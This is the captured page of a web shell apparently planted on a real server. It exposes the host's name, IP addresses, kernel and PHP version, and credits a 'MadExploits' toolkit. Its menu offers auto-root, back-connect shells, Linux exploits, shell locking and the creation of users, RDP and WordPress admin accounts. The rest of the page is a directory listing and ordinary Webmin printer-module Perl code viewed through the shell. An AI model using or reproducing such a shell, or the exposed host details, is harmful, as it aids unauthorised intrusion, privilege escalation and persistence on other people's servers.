Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
lpadmin /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
1.16
KB
-rw-r--r--
acl_security.pl
4.4
KB
-rwxr-xr-x
aix-lib.pl
9.45
KB
-rwxr-xr-x
ascii.txt
4.19
KB
-rw-r--r--
base_coas_driver
560
B
-rwxr-xr-x
bw.fig
2.75
KB
-rw-r--r--
bw.ps
6.46
KB
-rw-r--r--
caldera-driver.pl
12.31
KB
-rwxr-xr-x
cancel_all.cgi
535
B
-rwxr-xr-x
catalog.devices
12.34
KB
-rw-r--r--
cgi_args.pl
284
B
-rwxr-xr-x
cluster.cgi
2.06
KB
-rwxr-xr-x
cluster_add.cgi
2.13
KB
-rwxr-xr-x
cluster_delete.cgi
529
B
-rwxr-xr-x
colour.fig
2.91
KB
-rw-r--r--
colour.ps
6.63
KB
-rw-r--r--
config-AlmaLinux-7.0-ALL
323
B
-rw-r--r--
config-Amazon-Linux-2-ALL
323
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
323
B
-rw-r--r--
config-CentOS-Stream-Linux-8.0...
323
B
-rw-r--r--
config-Oracle-Linux-8.0-ALL
323
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
323
B
-rw-r--r--
config-Rocky-Linux-7.0-ALL
323
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
323
B
-rw-r--r--
config-aix
281
B
-rw-r--r--
config-coherent-linux
323
B
-rw-r--r--
config-corel-linux
228
B
-rw-r--r--
config-debian-linux
228
B
-rw-r--r--
config-debian-linux-3.1-3.9
327
B
-rw-r--r--
config-debian-linux-4.0-ALL
333
B
-rw-r--r--
config-freebsd
230
B
-rw-r--r--
config-generic-linux
228
B
-rw-r--r--
config-gentoo-linux
248
B
-rw-r--r--
config-hpux
323
B
-rw-r--r--
config-irix
213
B
-rw-r--r--
config-macos
230
B
-rw-r--r--
config-mandrake-linux
245
B
-rw-r--r--
config-mandrake-linux-8.0-ALL
276
B
-rw-r--r--
config-msc-linux
228
B
-rw-r--r--
config-netbsd
230
B
-rw-r--r--
config-open-linux
309
B
-rw-r--r--
config-open-linux-3.1e
239
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
318
B
-rw-r--r--
config-openbsd
230
B
-rw-r--r--
config-openmamba-linux
229
B
-rw-r--r--
config-pardus-linux
228
B
-rw-r--r--
config-redhat-linux
228
B
-rw-r--r--
config-redhat-linux-24.0-ALL
339
B
-rw-r--r--
config-redhat-linux-7.0
283
B
-rw-r--r--
config-redhat-linux-7.1
286
B
-rw-r--r--
config-redhat-linux-7.2-8.1
394
B
-rw-r--r--
config-redhat-linux-9.0-23.0
337
B
-rw-r--r--
config-slackware-linux
228
B
-rw-r--r--
config-slackware-linux-8.1-ALL
246
B
-rw-r--r--
config-solaris
304
B
-rw-r--r--
config-solaris-10-ALL
330
B
-rw-r--r--
config-solaris-9
296
B
-rw-r--r--
config-suse-linux
226
B
-rw-r--r--
config-suse-linux-8.2-ALL
322
B
-rw-r--r--
config-trustix-linux
313
B
-rw-r--r--
config-turbo-linux
228
B
-rw-r--r--
config-united-linux
322
B
-rw-r--r--
config-unixware
302
B
-rw-r--r--
config.info
1.31
KB
-rw-r--r--
config.info.ca
1.53
KB
-rw-r--r--
config.info.cs
1.25
KB
-rw-r--r--
config.info.de
1.43
KB
-rw-r--r--
config.info.es
1.17
KB
-rw-r--r--
config.info.fr
1.63
KB
-rw-r--r--
config.info.hu
707
B
-rw-r--r--
config.info.ja
823
B
-rw-r--r--
config.info.nl
1.41
KB
-rw-r--r--
config.info.no
1.37
KB
-rw-r--r--
config.info.pl
1.45
KB
-rw-r--r--
config.info.pt_BR
1.58
KB
-rw-r--r--
config.info.ru
1.74
KB
-rw-r--r--
config.info.sv
651
B
-rw-r--r--
config.info.tr
1.39
KB
-rw-r--r--
config.info.uk
1.81
KB
-rw-r--r--
config.info.zh
573
B
-rw-r--r--
config.info.zh_TW
539
B
-rw-r--r--
cups-driver.pl
6.37
KB
-rwxr-xr-x
cups-lib.pl
8.67
KB
-rwxr-xr-x
defaultacl
73
B
-rw-r--r--
delete_printer.cgi
690
B
-rwxr-xr-x
delete_printers.cgi
839
B
-rwxr-xr-x
drivers
18.34
KB
-rw-r--r--
edit_printer.cgi
10.08
KB
-rwxr-xr-x
freebsd-lib.pl
7.26
KB
-rwxr-xr-x
hpux-driver.pl
3.13
KB
-rwxr-xr-x
hpux-lib.pl
9.83
KB
-rwxr-xr-x
index.cgi
5.83
KB
-rwxr-xr-x
irix-driver.pl
3.13
KB
-rwxr-xr-x
irix-lib.pl
10.68
KB
-rwxr-xr-x
linux-lib.pl
8.97
KB
-rwxr-xr-x
list_jobs.cgi
2.25
KB
-rwxr-xr-x
log_parser.pl
1021
B
-rwxr-xr-x
lpadmin-lib.pl
19.89
KB
-rwxr-xr-x
lprng-lib.pl
10.26
KB
-rwxr-xr-x
module.info
494
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
159
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
223
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
290
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
306
B
-rw-r--r--
module.info.ca
167
B
-rw-r--r--
module.info.ca.auto
16
B
-rw-r--r--
module.info.cs
31
B
-rw-r--r--
module.info.cs.auto
155
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
168
B
-rw-r--r--
module.info.de
148
B
-rw-r--r--
module.info.de.auto
16
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
362
B
-rw-r--r--
module.info.es
38
B
-rw-r--r--
module.info.es.auto
157
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
217
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
246
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
168
B
-rw-r--r--
module.info.fr
39
B
-rw-r--r--
module.info.fr.auto
176
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
205
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
188
B
-rw-r--r--
module.info.hu
19
B
-rw-r--r--
module.info.hu.auto
173
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
177
B
-rw-r--r--
module.info.ja
27
B
-rw-r--r--
module.info.ja.auto
213
B
-rw-r--r--
module.info.ko
25
B
-rw-r--r--
module.info.ko.auto
176
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
219
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
189
B
-rw-r--r--
module.info.ms
152
B
-rw-r--r--
module.info.ms.auto
16
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
196
B
-rw-r--r--
module.info.nl
33
B
-rw-r--r--
module.info.nl.auto
133
B
-rw-r--r--
module.info.no
31
B
-rw-r--r--
module.info.no.auto
137
B
-rw-r--r--
module.info.pl
160
B
-rw-r--r--
module.info.pl.auto
16
B
-rw-r--r--
module.info.pt
39
B
-rw-r--r--
module.info.pt.auto
149
B
-rw-r--r--
module.info.pt_BR
42
B
-rw-r--r--
module.info.pt_BR.auto
155
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
199
B
-rw-r--r--
module.info.ru
25
B
-rw-r--r--
module.info.ru.auto
245
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
184
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
192
B
-rw-r--r--
module.info.sv
30
B
-rw-r--r--
module.info.sv.auto
141
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
393
B
-rw-r--r--
module.info.tr
27
B
-rw-r--r--
module.info.tr.auto
166
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
281
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
304
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
189
B
-rw-r--r--
module.info.zh
24
B
-rw-r--r--
module.info.zh.auto
136
B
-rw-r--r--
module.info.zh_TW
30
B
-rw-r--r--
module.info.zh_TW.auto
142
B
-rw-r--r--
old-caldera-driver.pl
9.74
KB
-rwxr-xr-x
openbsd-lib.pl
7.26
KB
-rwxr-xr-x
prefs.info
40
B
-rw-r--r--
printconf-driver.pl
9.52
KB
-rwxr-xr-x
rbac-mapping
248
B
-rw-r--r--
redhat-driver.pl
12.42
KB
-rwxr-xr-x
restart.cgi
301
B
-rwxr-xr-x
save_printer.cgi
5.85
KB
-rwxr-xr-x
solaris-driver.pl
4.03
KB
-rwxr-xr-x
solaris-lib.pl
12.17
KB
-rwxr-xr-x
sortdrivers-by-drv.pl
222
B
-rwxr-xr-x
sortdrivers.pl
242
B
-rwxr-xr-x
start.cgi
377
B
-rwxr-xr-x
stop.cgi
374
B
-rwxr-xr-x
stp
2.45
KB
-rw-r--r--
suse-driver.pl
10.62
KB
-rwxr-xr-x
test_form.cgi
887
B
-rwxr-xr-x
test_print.cgi
1.19
KB
-rwxr-xr-x
unixware-lib.pl
7.81
KB
-rwxr-xr-x
view_job.cgi
909
B
-rwxr-xr-x
webmin-driver.pl
1.04
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : openbsd-lib.pl
# freebsd-lib.pl # Functions for printcap-style printer management # list_printers() # Returns a list of known printer names sub list_printers { local($l, @rv); foreach $l (&list_printcap()) { $l->{'name'} =~ /^([^\|]+)/; push(@rv, $1); } return @rv; } # get_printer(name, [nostatus]) sub get_printer { local($l, %prn, @w, @n, $w, %cap, @jobs); foreach $l (&list_printcap()) { @n = split(/\|/, $l->{'name'}); if ($n[0] eq $_[0]) { # found the printer.. get info from printcap $prn{'name'} = $n[0]; if (@n > 2) { $prn{'alias'} = [ @n[1..$#n-1] ]; } if (@n > 1) { $prn{'desc'} = $n[$#n]; } $prn{'iface'} = $l->{'if'}; $prn{'banner'} = !defined($l->{'sh'}); $prn{'dev'} = $l->{'lp'}; $prn{'rhost'} = $l->{'rm'}; $prn{'rqueue'} = $l->{'rp'}; $prn{'msize'} = $l->{'mx'}; $prn{'ro'} = $l->{'file'} eq $config{'ro_printcap_file'}; if (!$_[1]) { # call lpc to get status local $esc = quotemeta($prn{'name'}); $out = &backquote_command("lpc status $esc 2>&1", 1); $prn{'accepting'} = ($out =~ /queuing is enabled/); $prn{'enabled'} = ($out =~ /printing is enabled/); } return \%prn; } } return undef; } sub get_jobs { local @jobs; local $esc = quotemeta($_[0]); open(LPQ, "lpq -P$esc |"); while(<LPQ>) { chop; if (/^Rank\s+Owner\s+/) { $doneheader++; } elsif ($doneheader && /^(\S+)\s+(\S+)\s+(\d+)\s+(.*\S)\s+(\d+)\s+(\S+)$/) { local(%job); $job{'id'} = $3; $job{'user'} = $2; $job{'size'} = $5; $job{'file'} = $4; $job{'printing'} = ($1 eq "active"); push(@jobs, \%job); } } close(LPQ); return @jobs; } sub printer_support { return $_[0] !~ /^(why|allow|default|ctype|riface|sysv|direct|rnoqueue|ipp)$/; } # create_printer(&details) # Create a new printer in /etc/printcap sub create_printer { local(%cap); $cap{'sd'} = "$config{'spool_dir'}/$_[0]->{'name'}"; &lock_file($cap{'sd'}); mkdir($cap{'sd'}, 0755); &unlock_file($cap{'sd'}); &lock_file($config{'printcap_file'}); local $lref = &read_file_lines($config{'printcap_file'}); push(@$lref, &make_printcap($_[0], \%cap)); &flush_file_lines($config{'printcap_file'}); &unlock_file($config{'printcap_file'}); &apply_status($_[0]); } # modify_printer(&details) sub modify_printer { local(@old, $o, $old, @cap); &lock_file($config{'printcap_file'}); @old = &list_printcap(); foreach $o (@old) { $o->{'name'} =~ /^([^\|]+)/; if ($1 eq $_[0]->{'name'}) { # found current details $old = $o; last; } } if (!$old) { &error("Printer '$_[0]->{'name'}' no longer exists"); } local $lref = &read_file_lines($config{'printcap_file'}); splice(@$lref, $old->{'line'}, $old->{'eline'} - $old->{'line'} + 1, &make_printcap($_[0], $old)); &flush_file_lines($config{'printcap_file'}); &unlock_file($config{'printcap_file'}); &apply_status($_[0]); } # delete_printer(name) sub delete_printer { local(@old, $o, $old, @cap); &lock_file($config{'printcap_file'}); @old = &list_printcap(); foreach $o (@old) { $o->{'name'} =~ /^([^\|]+)/; if ($1 eq $_[0]) { # found current details $old = $o; last; } } if (!$old) { &error("Printer '$_[0]' no longer exists"); } local $lref = &read_file_lines($config{'printcap_file'}); splice(@$lref, $old->{'line'}, $old->{'eline'} - $old->{'line'} + 1); &flush_file_lines($config{'printcap_file'}); &unlock_file($config{'printcap_file'}); } # cancel_job(printer, job) # Calls lprm to remove some job sub cancel_job { local($out); local $esc = quotemeta($_[0]); local $iesc = quotemeta($_[1]); $out = &backquote_logged("lprm -P$esc $iesc 2>&1"); if ($?) { &error("lprm failed : $out"); } } # make_printcap(&details, &old) # Updates or creates a printcap line sub make_printcap { local(%prn, %cap, $a, $rv, $c); %prn = %{$_[0]}; %cap = %{$_[1]}; $cap{'if'} = $prn{'iface'} ? $prn{'iface'} : undef; $cap{'sh'} = $prn{'banner'} ? undef : ""; $cap{'lp'} = $prn{'dev'} ? $prn{'dev'} : undef; $cap{'rm'} = $prn{'rhost'} ? $prn{'rhost'} : undef; $cap{'rp'} = $prn{'rqueue'} ? $prn{'rqueue'} : undef; $cap{'mx'} = defined($prn{'msize'}) ? $prn{'msize'} : undef; $rv = $prn{'name'}; foreach $a (@{$prn{'alias'}}) { $rv .= "|$a"; } $rv .= "|$prn{'desc'}"; foreach $c (keys %cap) { if (length($c) == 2 && defined($cap{$c})) { if ($cap{$c} eq "") { $rv .= ":$c"; } elsif ($cap{$c} =~ /^\d+$/) { $rv .= ":$c#$cap{$c}"; } else { $rv .= ":$c=$cap{$c}"; } } } $rv .= ":"; return $rv; } # list_printcap() # Returns an array of associative arrays containing printcap fields sub list_printcap { return @list_printcap_cache if (scalar(@list_printcap_cache)); local(@rv, @line, $line, $cont, $lnum, $i, %done, $capfile); foreach $capfile ($config{'printcap_file'}, $config{'ro_printcap_file'}) { next if (!$capfile || $done{$capfile}++); open(CAP, "<".$capfile); $lnum = 0; while($line = <CAP>) { $line =~ s/^#.*$//g; # remove comments $line =~ s/\s+$//g; # remove trailing spaces $line =~ s/^\s+//g; # remove leading spaces if ($line =~ /\S/) { $ncont = ($line =~ s/\\$//g); if ($cont) { $line[$#line] .= $line; $eline[@line - 1] = $lnum; } else { push(@line, $line); $eline[@line - 1] = $sline[@line - 1] = $lnum; } $cont = $ncont; } $lnum++; } close(CAP); for($i=0; $i<@line; $i++) { local(%cap); @w = split(/:+/, $line[$i]); $cap{'name'} = $w[0]; $cap{'line'} = $sline[$i]; $cap{'eline'} = $eline[$i]; $cap{'file'} = $capfile; foreach $w (@w[1..$#w]) { if ($w =~ /^([A-z0-9]+)[=#](.*)$/) { $cap{$1} = $2; } elsif ($w =~ /^([A-z0-9]+)$/) { $cap{$w} = ""; } } push(@rv, \%cap); } } @list_printcap_cache = @rv; return @rv; } # apply_status(&details) # Calls lpc to enable or disable a printer. # Restarting lpd doesn't seem to be necessary? sub apply_status { local($out); local $esc = quotemeta($_[0]->{'name'}); $out = &backquote_command("lpc status $esc 2>&1", 1); if ($_[0]->{'enabled'} && $out !~ /printing is enabled/) { &backquote_logged("lpc up $esc"); } elsif (!$_[0]->{'enabled'} && $out =~ /printing is enabled/) { &backquote_logged("lpc down $esc"); } if ($_[0]->{'accepting'} && $out !~ /queuing is enabled/) { &backquote_logged("lpc enable $esc"); } elsif (!$_[0]->{'accepting'} && $out =~ /queuing is enabled/) { &backquote_logged("lpc disable $esc"); } } # sched_running() # Returns the pid if lpsched is running, 0 if not, -1 if cannot be stopped sub sched_running { @pid = &find_byname("lpd"); if (@pid) { return $pid[0]; } return 0; } # start_sched() # Start lpsched sub start_sched { local $out = &backquote_logged("lpd 2>&1"); if ($?) { &error("failed to start lpd : <tt>$out</tt>"); } } # stop_sched(pid) # Stop the running lpsched process sub stop_sched { local @pid = &find_byname("lpd"); &kill_logged('TERM', @pid) || &error("Failed to stop lpd : $!"); } # print_command(printer, file) # Returns the command to print some file on some printer sub print_command { local $esc = quotemeta($_[0]); local $fesc = quotemeta($_[1]); return "lpr -P$esc $fesc"; } # check_print_system() sub check_print_system { &has_command("lpr") || return &text('freebsd_ecmd', "<tt>lpr</tt>"); -d $config{'spool_dir'} || return &text('freebsd_espool', "<tt>$config{'spool_dir'}</tt>"); return undef; } if ($gconfig{'os_type'} eq 'openbsd') { @device_files = ("/dev/lpt0", "/dev/cua00", "/dev/cua01"); } else { @device_files = ("/dev/lpt0", "/dev/cuaa0", "/dev/cuaa1"); } @device_names = ($text{'freebsd_paralel'}, &text('freebsd_serial', "1"), &text('freebsd_serial', "2"));
Close